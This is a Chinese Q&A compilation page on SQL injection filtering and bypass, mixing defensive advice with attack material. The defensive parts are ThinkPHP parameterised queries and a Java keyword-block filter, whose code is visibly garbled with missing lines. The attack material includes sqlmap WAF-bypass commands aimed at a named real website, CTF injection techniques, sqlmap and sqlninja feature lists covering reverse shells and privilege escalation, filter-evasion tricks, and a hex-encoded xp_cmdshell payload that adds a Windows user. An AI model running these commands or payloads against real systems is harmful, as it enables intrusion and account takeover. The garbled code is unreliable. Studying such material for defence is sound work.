『壹』 sql 注入過濾代碼的問題
過濾好你的參數就OK了,Delect 或 DELECT 或 DelecT 這些沒必要過濾的, 堅決過濾掉 ' , " 這些符號,尤其是單引號,就OK了. Delect這些是正常的英文單詞 這個都過濾的 國外網站就不用說話啦....
istr = Replace(istr,CHR(32),"& nbsp;")
istr = Replace(istr,CHR(9),"& nbsp;")
istr = Replace(istr,CHR(10), "<b r />")
istr = Replace(istr,CHR(13), "")
istr = Replace(istr,"<","& lt;")
istr = Replace(istr,">","& gt;")
istr = Replace(istr,CHR(34),"& quot;")
istr = Replace(istr," ","& nbsp;")
istr = Replace(istr,CHR(39), "& #39;")
一般過濾掉這些就OK了,把&後面的空格去掉
『貳』 php 關於thinkphp的防sql注入跟過濾問題
防止SQL注入
opensns
對於WEB應用來說，SQL注入攻擊無疑是首要防範的安全問題，系統底層對於數據安全方面本身進行了很多的處理和相應的防範機制，例如：
$User = M("User"); // 實例化User對象
$User->find($_GET["id"]);
即便用戶輸入了一些惡意的id參數，系統也會強制轉換成整型，避免惡意注入。這是因為，系統會對數據進行強制的數據類型檢測，並且對數據來源進行數據格式轉換。而且，對於字元串類型的數據，ThinkPHP都會進行escape_string處理(real_escape_string,mysql_escape_string)。
通常的安全隱患在於你的查詢條件使用了字元串參數，然後其中一些變數又依賴由客戶端的用戶輸入，要有效的防止SQL注入問題，我們建議：
查詢條件盡量使用數組方式，這是更為安全的方式；
如果不得已必須使用字元串查詢條件，使用預處理機制（3.1版本新增特性）；
開啟數據欄位類型驗證，可以對數值數據類型做強制轉換；（3.1版本開始已經強制進行欄位類型驗證了）
使用自動驗證和自動完成機制進行針對應用的自定義過濾；
欄位類型檢查、自動驗證和自動完成機制我們在相關部分已經有詳細的描述。
查詢條件預處理
where方法使用字元串條件的時候，支持預處理（安全過濾），並支持兩種方式傳入預處理參數，例如：
$Model->where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))->select();
或者
$Model->where("id=%d and username='%s' and xx='%f'",$id,$username,$xx)->select();
模型的query和execute方法 同樣支持預處理機制，例如：
$model->query('select * from user where id=%d and status=%d',$id,$status);
或者
$model->query('select * from user where id=%d and status=%d',array($id,$status));
execute方法用法同query方法。
『叄』 利用sqlmap注入時，發現站點對空格進行了過濾，可以使用什麼腳本來繞過
0x00 前言
現在的網路環境往往是WAF/IPS/IDS保護著Web 伺服器等等，這種保護措施往往會過濾擋住我們的SQL注入查詢鏈接，甚至封鎖我們的主機IP，所以這個時候，我們就要考慮怎樣進行繞過，達到注入的目標。因為現在WAF/IPS/IDS都把sqlmap 列入黑名單了，呵呵！但是本文基於sqlmap 進行繞過注入測試，介紹至今仍然實用有效的技巧，以下策略在特定的環境能夠成功繞過，具體是否繞過，請仔細查看輸出的信息。
0x01 確認WAF
首先我們判斷該Web 伺服器是否被WAF/IPS/IDS保護著。這點很容易實現，因為我們在漏掃或者使用專門工具來檢測是否有WAF，這個檢測，在nmap 的NSE，或者WVS的策略或者APPSCAN的策略中都有，我們可以利用這些來判斷。在此我們，也介紹使用sqlmap 進行檢測是否有WAF/IPS/IDS
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --identify-waf#首選
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --thread 10 --check-waf#備選
0x02 使用參數進行繞過
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --random-agent -v 2 #使用任意瀏覽器進行繞過，尤其是在WAF配置不當的時候
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --hpp -v 3#使用HTTP 參數污染進行繞過，尤其是在ASP.NET/IIS 平台上
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --delay=3.5 --time-sec=60 #使用長的延時來避免觸發WAF的機制，這方式比較耗時
root@kali:~# sqlmap -u "http://yiliao.kingdee.com/contents.php?id=51&types=4" --proxy=211.211.211.211:8080 --proxy-cred=211:985#使用代理進行注入
『肆』 部分sql注入總結
本人ctf選手一名，在最近做練習時遇到了一些sql注入的題目，但是sql注入一直是我的弱項之一，所以寫一篇總結記錄一下最近學到的一些sql注入漏洞的利用。
在可以聯合查詢的題目中，一般會將資料庫查詢的數據回顯到首頁面中，這是聯合注入的前提。
適用於有回顯同時資料庫軟體版本是5.0以上的MYSQL資料庫,因為MYSQL會有一個系統資料庫information_schema， information_schema 用於存儲資料庫元數據(關於數據的數據)，例如資料庫名、表名、列的數據類型、訪問許可權等
聯合注入的過程：
判斷注入點可以用and 1=1/and 1=2用於判斷注入點
當注入類型為數字型時返回頁面會不同,但都能正常執行。
sql注入通常為數字型注入和字元型注入：
1、數字型注入
數字型語句：
在這種情況下直接使用and 1=1/and 1=2是都可以正常執行的但是返回的界面是不一樣的
2、字元型注入
字元型語句：
字元型語句輸入我們的輸入會被一對單引號或這雙引號閉合起來。
所以如果我們同樣輸入and 1=1/and 1=2會發現回顯畫面是並無不同的。
在我們傳入and 1=1/and 1=2時語句變為
傳入的東西變成了字元串並不會被當做命令。
所以字元型的測試方法最簡單的就是加上單引號 ' ，出現報錯。
加上注釋符--後正常回顯界面。
這里還有的點就是sql語句的閉合也是有時候不同的，下面是一些常見的
這一步可以用到order by函數，order by 函數是對MySQL中查詢結果按照指定欄位名進行排序，除了指定字 段名還可以指定欄位的欄位進行排序，第一個查詢欄位為1，第二個為2，依次類推，所以可以利用order by就可以判斷列數。
以字元型注入為例：
在列數存在時會正常回顯
但是列數不存在時就會報錯
這步就說明了為什麼是聯合注入了，用到了UNION，UNION的作用是將兩個select查詢結果合並
但是程序在展示數據的時候通常只會取結果集的第一行數據，這就讓聯合注入有了利用的點。
當我們查詢的第一行是不存在的時候就會回顯第二行給我們。
講查詢的數據置為-1，那第一行的數據為空，第二行自然就變為了第一行
在這個基礎上進行注入
可以發現2，3都為可以利用的顯示點。
和前面一樣利用union select，加上group_concat()一次性顯示。
現在非常多的Web程序沒有正常的錯誤回顯，這樣就需要我們利用報錯注入的方式來進行SQL注入了
報錯注入的利用步驟和聯合注入一致，只是利用函數不同。
以updatexml為例。
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target： 需要操作的xml片段
xpath_expr： 需要更新的xml路徑(Xpath格式)
new_xml： 更新後的內容
此函數用來更新選定XML片段的內容，將XML標記的給定片段的單個部分替換為 xml_target 新的XML片段 new_xml ，然後返回更改的XML。xml_target替換的部分 與xpath_expr 用戶提供的XPath表達式匹配。
這個函數當xpath路徑錯誤時就會報錯，而且會將路徑內容返回，這就能在報錯內容中看到我們想要的內容。
而且以~開頭的內容不是xml格式的語法，那就可以用concat函數拼接~使其報錯，當然只要是不符合格式的都可以使其報錯。
[極客大挑戰 2019]HardSQL
登錄界面嘗試注入，測試後發現是單引號字元型注入，且對union和空格進行了過濾，不能用到聯合注入，但是有錯誤信息回顯，說明可以使用報錯注入。
利用updatexml函數的報錯原理進行注入在路徑處利用concat函數拼接~和我們的注入語句
發現xpath錯誤並執行sql語句將錯誤返回。
在進行爆表這一步發現了等號也被過濾，但是可以用到like代替等號。
爆欄位
爆數據
這里就出現了問題flag是不完整的，因為updatexml能查詢字元串的最大長度為32，所以這里要用到left函數和right函數進行讀取
報錯注入有很多函數可以用不止updatexml一種，以下三種也是常用函數：
堆疊注入就是多條語句一同執行。
原理就是mysql_multi_query() 支持多條sql語句同時執行，用;分隔，成堆的執行sql語句。
比如
在許可權足夠的情況下甚至可以對資料庫進行增刪改查。但是堆疊注入的限制是很大的。但是與union聯合執行不同的是它可以同時執行無數條語句而且是任何sql語句。而union執行的語句是有限的。
[強網杯 2019]隨便注
判斷完注入類型後嘗試聯合注入，發現select被過濾，且正則不區分大小寫過濾。
那麼就用堆疊注入，使用show就可以不用select了。
接下去獲取表信息和欄位信息
那一串數字十分可疑大概率flag就在裡面，查看一下
這里的表名要加上反單引號，是資料庫的引用符。
發現flag，但是沒辦法直接讀取。再讀取words，發現裡面有個id欄位，猜測資料庫語句為
結合1'or 1=1#可以讀取全部數據可以利用改名的方法把修改1919810931114514為words，flag修改為id，就可以把flag讀取了。
最終payload：
盲注需要掌握的幾個函數
在網頁屏蔽了錯誤信息時就只能通過網頁返回True或者False判斷，本質上是一種暴力破解，這就是布爾盲注的利用點。
首先，判斷注入點和注入類型是一樣的。
但是盲注沒有判斷列數這一步和判斷顯示位這兩步，這是和可回顯注入的不同。
判斷完注入類型後就要判斷資料庫的長度，這里就用到了length函數。
以[WUSTCTF2020]顏值成績查詢為例
輸入參數後，發現url處有個get傳入的stunum
然後用到length函數測試是否有注入點。
發現頁面有明顯變化
將傳入變為
頁面回顯此學生不存在
那麼就可以得出資料庫名長度為3
測試發現過濾了空格
然後就是要查資料庫名了，這里有兩種方法
一、只用substr函數，直接對比
這種方法在寫腳本時可以用於直接遍歷。
二、加上ascii函數
這個payload在寫腳本時直接遍歷同樣可以，也可用於二分法查找，二分法速度更快。
接下來的步驟就和聯合注入一樣，只不過使用substr函數一個一個截取字元逐個判斷。但是這種盲注手工一個一個注十分麻煩所以要用到腳本。
直接遍歷腳本
二分法腳本
時間盲注用於代碼存在sql注入漏洞，然而頁面既不會回顯數據，也不會回顯錯誤信息
語句執行後也不提示真假，我們不能通過頁面的內容來判斷
所以有布爾盲注就必有時間盲注，但有時間盲注不一定有布爾盲注
時間盲注主要是利用sleep函數讓網頁的響應時間不同從而實現注入。
sql-lab-less8：
無論輸入什麼都只會回顯一個you are in...，這就是時間盲注的特點。
當正常輸入?id=1時時間為11毫秒
判斷為單引號字元型注入後，插入sleep語句
明顯發現響應時間為3053毫秒。
利用時間的不同就可以利用腳本跑出資料庫，後續步驟和布爾盲注一致。
爆庫
爆表
爆欄位
腳本
在進行SQL注入時,發現union,and,or被完全過濾掉了,就可以考慮使用異或注入
什麼是異或呢
異或是一種邏輯運算，運演算法則簡言之就是：兩個條件相同（同真或同假）即為假（0），兩個條件不同即為真（1），null與任何條件做異或運算都為null，如果從數學的角度理解就是，空集與任何集合的交集都為空
即 1^1=0,0^0=0,1^0=1
利用這個原理可以在union，and，or都被過濾的情況下實現注入
[極客大挑戰 2019]FinalSQL
給了五個選項但是都沒什麼用，在點擊後都會在url處出現?id。
而且union，and，or都被過濾
測試發現?id=1^1會報錯
但是?id=1^0會返回?id=1的頁面，這就是前面說的原理，當1^0時是等於1的所以返回?id=1的頁面。
根據原理寫出payload，進而寫出腳本。
爆庫
爆表
爆欄位
據此可以寫出基於異或的布爾盲注腳本
實驗推薦：課程:SQL注入初級(合天網安實驗室)
『伍』 SQL注入哪些工具最有效
SQL Power Injector是一款在.Net 1.1中創建的應用程序，可幫助滲透測試人員在網頁上查找和利用SQL注入。
特徵
支持Windows，Unix和Linux操作系統
SQL Server，Oracle，MySQL，Sybase / Adaptive Server和DB2兼容
SSL支持
自動從網頁上的表單或IFrame載入參數（GET或POST）
檢測並瀏覽框架集
自動檢測網站語言的選項
檢測並添加載入頁面進程期間使用的Cookie（Set-Cookie檢測）
自動查找提交頁面，其方法（GET或POST）以不同的顏色顯示
可以直接在Datagrids中創建/修改/刪除載入的字元串和Cookie參數
單個SQL注入
盲目的SQL注入
比較頁面的真實和錯誤響應或cookie中的結果
時間延遲
SQL注入在自定義瀏覽器中的響應
可以使用HTML上下文顏色查看返回頁面的HTML代碼源並在其中搜索
微調參數和cookie注入
可以參數化預期結果的長度和計數以優化應用程序執行SQL注入所用的時間
創建/編輯預設的ASCII字元，以優化盲注SQL請求數/請求速度
多線程（最多可配置50個）
選項可以通過空的評論/ ** /針對IDS或過濾器檢測來替換空間
在發送之前自動編碼特殊字元
自動檢測響應頁面中的預定義SQL錯誤
在響應頁面中自動檢測預定義的單詞或句子
實時結果
將會話保存並載入到XML文件中
自動查找正面答案和負面答案頁面之間差異的功能
可以創建一個范圍列表，它將替換隱藏的SQL注入字元串中的變數（>）並自動為您播放它們
使用文本文件中的預定義列表自動重播變數范圍
Firefox插件，它將啟動SQL Power Injector以及當前網頁的所有信息及其會話上下文（參數和cookie）
兩個集成工具：Hex和Char編碼器和MS SQL @options解釋器
可以編輯Referer
可以選擇一個用戶代理（或者甚至在用戶代理XML文件中創建一個）
可以使用設置窗口配置應用程序
支持可配置的代理
軟體截圖
地址：http://www.sqlpowerinjector.com/index.htm
ilo--，Reversing.org - sqlbftools
地址：https://packetstormsecurity.com/files/download/43795/sqlbftools-1.2.tar.gz
Bernardo Damele AG：sqlmap，自動SQL注入工具
介紹
sqlmap是一款開源滲透測試工具，可自動檢測和利用SQL注入漏洞並接管資料庫伺服器。它具有強大的檢測引擎，針對終極滲透測試人員的眾多特性，以及從資料庫指紋識別，從資料庫獲取數據，到訪問底層文件系統以及在操作系統上執行命令的各種開關，帶外連接。
特徵
完全支持MySQL，Oracle，PostgreSQL，Microsoft SQL Server，Microsoft Access，IBM DB2，SQLite，Firebird，Sybase，SAP MaxDB，HSQLDB和Informix資料庫管理系統。
完全支持六種SQL注入技術：基於布爾的盲，基於時間的盲，基於錯誤，基於UNION查詢，堆棧查詢和帶外。
支持直接連接資料庫而不通過SQL注入，通過提供DBMS憑證，IP地址，埠和資料庫名稱。
支持枚舉用戶，密碼哈希，特權，角色，資料庫，表和列。
自動識別密碼哈希格式並支持使用基於字典的攻擊對其進行破解。
支持完全轉儲資料庫表，根據用戶的選擇提供一系列條目或特定列。用戶也可以選擇僅轉儲每列條目中的一系列字元。
支持搜索特定的資料庫名稱，跨所有資料庫的特定表或所有資料庫表的特定列。例如，這對於識別包含自定義應用程序憑證的表格非常有用，其中相關列的名稱包含名稱和傳遞等字元串。
當資料庫軟體是MySQL，PostgreSQL或Microsoft SQL Server時，支持從資料庫伺服器底層文件系統下載和上載任何文件。
當資料庫軟體是MySQL，PostgreSQL或Microsoft SQL Server時，支持執行任意命令並在資料庫伺服器底層操作系統上檢索它們的標准輸出。
支持在攻擊者機器和資料庫伺服器底層操作系統之間建立帶外狀態TCP連接。該通道可以是互動式命令提示符，Meterpreter會話或圖形用戶界面（VNC）會話，可以根據用戶的選擇進行選擇。
通過Metasploit的Meterpreter 命令支持資料庫進程'用戶許可權升級
地址：http://sqlmap.org/
icesurfer：SQL Server接管工具 - sqlninja
介紹
喜歡從Microsoft SQL Server上的SQL注入到資料庫上的完整GUI訪問？採用一些新的SQL注入技巧，在注冊表中添加幾個遠程鏡頭以禁用數據執行保護，混合一個自動生成調試腳本的小Perl，將所有這些放在一個帶有Metasploit包裝器的振動器中，只有sqlninja的攻擊模塊之一！
Sqlninja是一款旨在利用以Microsoft SQL Server作為後端的Web應用程序中的SQL注入漏洞的工具。
其主要目標是在易受攻擊的資料庫伺服器上提供遠程訪問，即使在非常惡劣的環境中也是如此。滲透測試人員應該使用它來幫助和自動化發現SQL注入漏洞時接管資料庫伺服器的過程。
特徵
完整的文檔可以在tarball中找到，也可以在這里找到，但是這里列出了忍者的功能：
遠程SQL Server的指紋（版本，執行查詢的用戶，用戶許可權，xp_cmdshell可用性，資料庫身份驗證模式）
數據提取，基於時間或通過DNS隧道
與Metasploit3集成，通過VNC伺服器注入獲得對遠程資料庫伺服器的圖形化訪問，或者僅上傳Meterpreter
通過vbscript或debug.exe僅上傳可執行的HTTP請求（不需要FTP / TFTP）
直接和反向綁定，TCP和UDP
當沒有可用於直接/反向外殼的TCP / UDP埠時，DNS隧道偽外殼，但資料庫伺服器可以解析外部主機名
ICMP隧道外殼，當沒有TCP / UDP埠可用於直接/反向外殼，但資料庫可以Ping您的盒子
蠻力的'sa'密碼（2種口味：基於字典和增量）
如果找到'sa'密碼，許可權將升級到系統管理員組
創建自定義的xp_cmdshell，如果原始的已被刪除
TCP / UDP埠可以從目標SQL Server掃描到攻擊機器，以便找到目標網路防火牆允許的埠並將其用於反向shell
迴避技術混淆了一些IDS / IPS / WAF
與churrasco.exe集成，通過令牌綁架將許可權升級到w2k3上的SYSTEM
支持CVE-2010-0232，將sqlservr.exe的許可權升級到SYSTEM
地址：https://sourceforge.net/projects/sqlninja/files/sqlninja/sqlninja-0.2.999-alpha1.tgz/download
『陸』 用什麼方法繞過SQL注入的限制
1、運用編碼技術繞過
如URLEncode編碼，ASCII編碼繞過。例如or 1=1即%6f%72%20%31%3d%31，而Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
2、通過空格繞過
如兩個空格代替一個空格，用Tab代替空格等，或者刪除所有空格，如or』 swords』 =『swords』 ，由於mssql的鬆散性，我們可以把or 『swords』 之間的空格去掉，並不影響運行。
3、運用字元串判斷代替
用經典的or 1=1判斷繞過,如or 『swords』 =』swords』，這個方法就是網上在討論的。
4、通過類型轉換修飾符N繞過
可以說這是一個不錯的想法，他除了能在某種程度上繞過限制，而且還有別的作用，大家自己好好想想吧。關於利用，如or 『swords』 = N』 swords』 ，大寫的N告訴mssql server 字元串作為nvarchar類型，它起到類型轉換的作用，並不影響注射語句本身，但是可以避過基於知識的模式匹配IDS。
5、通過+號拆解字元串繞過
效果值得考證，但畢竟是一種方法。如 or 『swords』 =『sw』 +』 ords』 ；EXEC(『IN』 +』 SERT INTO 『+』 …..』 )
6、通過LIKE繞過
以前怎麼就沒想到呢？如or 『swords』 LIKE 『sw』！！！顯然可以很輕松的繞過「=」「>」的限制……
7、通過IN繞過
與上面的LIKE的思路差不多,如or 『swords』 IN (『swords』)
8、通過BETWEEN繞過
如or 『swords』 BETWEEN 『rw』 AND 『tw』
9、通過>或者<繞過
or 『swords』 > 『sw』
or 『swords』 < 『tw』
or 1<3
……
10、運用注釋語句繞過
用/**/代替空格，如：UNION /**/ Select /**/user，pwd，from tbluser
用/**/分割敏感詞，如：U/**/ NION /**/ SE/**/ LECT /**/user，pwd from tbluser
11、用HEX繞過，一般的IDS都無法檢測出來
=hex(sysadmin)
=hex(db_owner)
另外，關於通用點的過濾方法，我們可以考慮採用賦值的方法，例如先聲明一個變數a，然後把我們的指令賦值給a，然後調用變數a最終執行我們輸入的命令。變數a可以是任何命令。如下：
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
效果 how.asp?id=1;declare%20@a% 20sysname%20select%20@a=7300730020002f
00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;–
其中的 7300730020002f00610064006400 就是「net user angel pass /add」的意思。
『柒』 SQL注入 當or、and等常用字元被過濾(less-25)
當常用字元被注釋無法使用時，通常採取以下方法（可自行搜索sql注入繞開過濾等）：
如：Or、OR、oR等
如：通過hex、urlencode、url等編碼
舉例：如果or被過濾時，我們可以採用url編碼（其相當於把ascii編碼的0x給替換成%，比如o的ascii為0x6f，url編碼就是%6f），這個時候我們可以試試%6fr，即把o換成url編碼，也可以全換，也可以大小寫的換，如果沒被過濾就成功了，（如果%被過濾了的話…）
【註：這個可以積極的去使用，比如測試時and被注釋，使用&&替換也失敗，這個時候不妨試試%26%26（&的url編碼）】
如： /* */ （這個不止可以應對字母被注釋）
舉例：某個過濾器能夠過濾的字元如下——「select 」、」from 」、」limit 」等，注意這些字元最後面都有一個空格，這個時候我們就能通過內聯注釋來繞過這個過濾器，如：
【註：這個注釋甚至可以穿插在關鍵字當中，例如被過濾了or，我們可以把 order by 改成 o/**/rder by ，參考的資料上是這么說，但本人試了沒成功，不知是否依舊實用】
比如or被過濾了，我們可以往裡面加or，即注入：oorr，這個時候裡面的or就被刪去了，剩下的組成新字元，也就是or，是個很好用的繞過方法，像這種類似的還有很多，需要我們去思考
如：&&、||
舉例：
如盲注時經常用到比較，這時候要是比較符號被注釋了不能用平常的方法了，所以需要用某些函數如 greatest() 【 greatest(n1,n2,n3,...) 函數返回輸入參數(n1,n2,n3,...)的最大值】、least()等，比如語句： select * from users where id=1 and ascii(substr(database(),0,1))>64 就可以替換成 select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
【註：當or被注釋時，像order by這種含有相關字元的語句也同樣無法使用，這個時候如果改變大小寫也無用時，可以使用上述的內聯注釋 /**/ ，或者用別的編碼形式，如果不行的話，那就只能放棄使用order by，可以嘗試使用group by語句等】
『捌』 sql注入過程中單引號和多個關鍵字被過濾怎麼辦
很高興回答你的問題
SQL注入成功機率和選擇注入目標程序安全性有直接關系.單就你的問題和你的思路來說的話,你還可嘗試利用 ANSI 字元代碼變體來達到目的 比如 " 號對應 chr(34) .
是否成功取決於他本身程序是否也做了過濾.
另:還有很多方法同樣可以達到目的的.比如旁註、跨站、截取cookie 等
『玖』 java防止SQL注入的幾個途徑
java防SQL注入,最簡單的辦法是杜絕SQL拼接,SQL注入攻擊能得逞是因為在原有SQL語句中加入了新的邏輯，如果使用PreparedStatement來代替Statement來執行SQL語句，其後只是輸入參數，SQL注入攻擊手段將無效，這是因為PreparedStatement不允許在不同的插入時間改變查詢的邏輯結構,大部分的SQL注入已經擋住了,在WEB層我們可以過濾用戶的輸入來防止SQL注入比如用Filter來過濾全局的表單參數
01importjava.io.IOException;
02importjava.util.Iterator;
03importjavax.servlet.Filter;
04importjavax.servlet.FilterChain;
05importjavax.servlet.FilterConfig;
06importjavax.servlet.ServletException;
07importjavax.servlet.ServletRequest;
08importjavax.servlet.ServletResponse;
09importjavax.servlet.http.HttpServletRequest;
10importjavax.servlet.http.HttpServletResponse;
11/**
12*通過Filter過濾器來防SQL注入攻擊
13*
14*/
{
16privateStringinj_str="'|and|exec|insert|select|delete|update|count|*|%
|chr|mid|master|truncate|char|declare|;|or|-|+|,";
=null;
18/**
19*?
20*/
21protectedbooleanignore=true;
22publicvoidinit(FilterConfigconfig)throwsServletException{
23this.filterConfig=config;
24this.inj_str=filterConfig.getInitParameter("keywords");
25}
26publicvoiddoFilter(ServletRequestrequest,ServletResponseresponse,
27FilterChainchain)throwsIOException,ServletException{
28HttpServletRequestreq=(HttpServletRequest)request;
29HttpServletResponseres=(HttpServletResponse)response;
30Iteratorvalues=req.getParameterMap().values().iterator();//獲取所有的表單參數
31while(values.hasNext()){
32String[]value=(String[])values.next();
33for(inti=0;i<value.length;i++){
34if(sql_inj(value[i])){
35//TODO這里發現sql注入代碼的業務邏輯代碼
36return;
37}
38}
39}
40chain.doFilter(request,response);
41}
42publicbooleansql_inj(Stringstr)
43{
44String[]inj_stra=inj_str.split("\|");
45for(inti=0;i<inj_stra.length;i++)
46{
47if(str.indexOf(""+inj_stra[i]+"")>=0)
48{
49returntrue;
50}
51}
52returnfalse;
53}
54}
也可以單獨在需要防範SQL注入的JavaBean的欄位上過濾：
1/**
2*防止sql注入
3*
4*@paramsql
5*@return
6*/
(Stringsql){
8returnsql.replaceAll(".*([';]+|(--)+).*","");
9}
『拾』 sql注入 form過濾怎麼繞過
我常用的三種方法：
1，參數過濾，過濾掉 單引號，or，1=1 等類似這樣的 。
2，使用 參數化方法格式化 ，不使用拼接SQL 語句。
3，主要業務使用存儲過程，並在代碼里使用參數化來調用（存儲過程和方法2結合）